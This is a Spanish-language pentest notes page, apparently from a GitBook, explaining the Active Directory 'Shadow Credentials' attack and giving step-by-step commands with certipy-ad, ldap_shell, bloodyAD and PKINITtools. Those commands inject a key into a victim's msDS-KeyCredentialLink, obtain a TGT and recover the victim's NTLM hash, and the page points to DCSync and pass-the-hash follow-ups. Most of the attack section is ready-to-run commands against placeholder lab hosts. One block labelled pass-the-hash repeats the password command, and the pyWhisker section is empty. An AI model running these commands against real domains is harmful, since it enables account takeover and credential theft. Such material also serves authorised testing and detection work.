# Shadow Credentials

## Introduction

El ataque conocido como **Shadow Credentials** permite a un atacante obtener acceso persistente a una cuenta de Active Directory (usuario o máquina) **sin conocer su contraseña ni su hash**. Para lograrlo, se abusa del atributo poco conocido llamado **`msDS-KeyCredentialLink`**, introducido con Windows Server 2016.

Este atributo permite almacenar claves públicas asociadas a una cuenta para autenticación mediante **Kerberos PKINIT**, un método que reemplaza el uso de contraseñas por criptografía asimétrica (clave pública/privada).

Si un atacante tiene permisos como **`WriteProperty`, `GenericWrite` o `GenericAll`** sobre ese atributo en una cuenta objetivo, puede inyectar su propia clave pública. Luego, puede autenticarse como ese usuario usando PKINIT y su clave privada, consiguiendo un **TGT válido sin necesidad de contraseñas ni tickets previos**.

#### ¿Por qué es peligroso?

* No se requiere modificar la contraseña del objetivo.
* La cuenta sigue funcionando normalmente, sin alertas visibles.
* La clave inyectada puede pasar desapercibida si no se monitoriza `msDS-KeyCredentialLink`.
* Permite autenticarse silenciosamente y moverse lateralmente o escalar privilegios.

#### Requisitos clave

* Un **controlador de dominio con soporte PKINIT** (Windows Server 2016 o superior).
* Entorno con **Active Directory Certificate Services (AD CS)** o una CA interna.
* Permisos para modificar el atributo `msDS-KeyCredentialLink` en una cuenta del dominio. (GenericAll, GenericWrite o AddKeyCredentialLink)

#### ¿Qué logra el atacante?

Una vez que inyecta la clave pública en el atributo `msDS-KeyCredentialLink`, el atacante puede:

* Autenticarse como el objetivo mediante PKINIT, sin necesidad de conocer su contraseña ni su hash.
* Obtener un Ticket Granting Ticket (TGT) válido para esa cuenta.
* Realizar movimientos laterales o delegaciones utilizando técnicas como S4U2self o S4U2proxy.
* Mantener persistencia incluso si el usuario cambia su contraseña.
* Obtener el hash NTLM del objetivo si consigue acceso al PAC o si la cuenta comprometida tiene privilegios elevados.
* Si la cuenta comprometida tiene permisos de replicación en el dominio, ejecutar un ataque DCSync para dumpear todos los hashes del dominio.
* Utilizar esos hashes para realizar Pass-the-Hash u otras técnicas de post-explotación.

En esta sección documentaremos la teoría detrás de esta técnica, cómo identificar entornos vulnerables, cómo explotarla paso a paso con herramientas como `pyWhisker`, `Certipy` o `PKINITtools`, `bloodyAD` o `ldap_shell`.

***

## From Linux

### certipy-ad

{% code title="User/Password" overflow="wrap" %}

```bash
certipy-ad shadow auto -username 'attacker' -p 'Password01!' -account 'victim' -dc-ip 10.10.10.10
```

{% endcode %}

{% code title="Pass-the-Hash (PtH)" overflow="wrap" %}

```bash
certipy-ad shadow auto -username 'attacker' -hashes '01e97f85894e06a5ad698f624b9a7ee9' -account 'victim' -dc-ip 10.10.10.10
```

{% endcode %}

{% code title="Kerberos" overflow="wrap" %}

```bash
certipy-ad shadow auto -k -no-pass -account 'victim' -dc-ip 10.10.10.10 -target DC01.domain.htb -dc-host DC01
```

{% endcode %}

***

### ldap\_shell

#### Authentication on ldap\_shell

{% code title="User/Password" overflow="wrap" %}

```bash
ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
```

{% endcode %}

{% hint style="danger" %}
Si no conocemos el **LM Hash**, tenemos que indicar (**aad3b435b51404eeaad3b435b51404ee**) y posteriormente el **hash NTLM**. Formato --> **LMHASH:NTHASH**
{% endhint %}

{% code title="Pass-the-Hash (PtH)" overflow="wrap" %}

```bash
ldap_shell domain.htb/attacker -hashes aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9 -dc-ip 10.10.10.10
```

{% endcode %}

{% code title="Kerberos" overflow="wrap" %}

```bash
ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10
```

{% endcode %}

**Command to use**

```bash
get_ntlm victim
```

**Proof of Concept (PoC)**

<figure><img src="https://228013500-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnht2ZrhktWnDwC5LAkip%2Fuploads%2FWIbfrj1NNZkppVa7FXQy%2F7744_firefox_W09fsr6AvG.png?alt=media&#x26;token=30ef4f01-fd48-4add-b7de-177129c5a4a8" alt=""><figcaption><p><a href="https://asciinema.org/a/SDklZJcNvQ4UVmm2nCakmvU24">Shadow Credentials</a></p></figcaption></figure>

***

### bloodyAD and PKINIT

**Paso 1: Creación de las Shadow Credentials al usuario victim**

{% code title="User/Password" overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'
```

{% endcode %}

{% code title="Pass-the-Hash (PtH)" overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'
```

{% endcode %}

{% code title="Kerberos" overflow="wrap" %}

```bash
bloodyAD --host dc.domain.htb -d domain.htb -k add shadowCredentials 'victim'
```

{% endcode %}

Una vez ejecutado la herramienta de `bloodyAD` para añadir las **Shadow Credentials** al usuario, se nos proporcionará un comando a ejecutar a través de las herramientas de [PKINIT](https://github.com/dirkjanm/PKINITtools).&#x20;

<figure><img src="https://228013500-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnht2ZrhktWnDwC5LAkip%2Fuploads%2FX2JFFyo5n1QR1uVuFwEw%2Fimagen.png?alt=media&#x26;token=77c37b41-6798-4c10-a34f-04b89081b280" alt=""><figcaption><p>Asignar las Shadow Credentials</p></figcaption></figure>

**Paso 2: Solicitud del ticket TGT después del Shadow Credentials**

Ejecutaremos el comando proporcionado en el paso anterior para solicitar el **TGT** correspondiente al usuario el cual le hemos añadido las **Shadow Credentials**.

Nos quedaremos con el valor del **TGT** que se nos generará (`.ccache`), ya que lo necesitaremos en el siguiente paso. Por otro lado, también necesitaremos el valor de la `Key` que se nos proporciona que se encuentra marcada en rojo en el apartado `INFO`.

{% code overflow="wrap" %}

```bash
python3 gettgtpkinit.py -cert-pem <file.cert.pem> -key-pem <file_priv.pem> domain.htb/victim <ticket.ccache>
```

{% endcode %}

<figure><img src="https://228013500-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnht2ZrhktWnDwC5LAkip%2Fuploads%2FNUxbSFtEzSkH3aY4f3KT%2Fimagen.png?alt=media&#x26;token=62f81d99-573c-4629-8512-8cd1b660171f" alt=""><figcaption><p>Solicitud del TGT</p></figcaption></figure>

**Paso 3: Exportar en la sesión actual el ticket TGT**

Exportaremos en la variable `KRB5CCNAME` el ticket **TGT** que se nos ha generado en el paso anterior (`.ccache`) y verificaremos que es un ticket válido a través de `klist`.

```bash
export KRB5CCNAME=$(pwd)/ticket.ccache
klist
```

<figure><img src="https://228013500-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnht2ZrhktWnDwC5LAkip%2Fuploads%2FHdlJrjsW4BEcyvt3eyRA%2F7742_vmware_YX03nfYf2K.png?alt=media&#x26;token=39f2653d-3ee4-44f5-946d-6e6d39af222b" alt=""><figcaption><p>Exportar en nuestra sesión el TGT</p></figcaption></figure>

**Paso 4: Recuperar el hash NTLM del usuario**

El último paso deberemos de utilizar la herramienta `getnthash.py` de **PKINIT** en la cual necesitaremos proporcionar la **Key** que se nos proporciona en el **paso 2**, haber importado el **ticket TGT** en nuestra sesión e indicar el dominio y el usuario `victim`.

```bash
python3 getnthash.py -key <key_step_2> domain.htb/victim
```

<figure><img src="https://228013500-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnht2ZrhktWnDwC5LAkip%2Fuploads%2FIlQMBhW85JyXqzTtQD2E%2F7743_vmware_mGAGDrY4rq.png?alt=media&#x26;token=25024e67-661c-46bb-925f-8d1869223fb5" alt=""><figcaption><p>Recuperación del hash NTLM</p></figcaption></figure>

**Proof of Concept (PoC)**

<figure><img src="https://228013500-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnht2ZrhktWnDwC5LAkip%2Fuploads%2Flp1JL6szv114VhpXum8u%2Fimagen.png?alt=media&#x26;token=fe70c2ff-f23c-4450-b0b2-3c98dde4389f" alt=""><figcaption><p><a href="https://asciinema.org/a/17RVxrSPOTIVlgFjSwqefQ79U">Shadow Credentials</a></p></figcaption></figure>

***

### pyWhisker and PKINIT

***

## References

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials>" %}

{% embed url="<https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-shadow-credentials/>" %}

{% embed url="<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials>" %}

{% embed url="<https://medium.com/@NightFox007/exploiting-and-detecting-shadow-credentials-and-msds-keycredentiallink-in-active-directory-9268a587d204>" %}

{% embed url="<https://www.hackingarticles.in/shadow-credentials-attack/>" %}
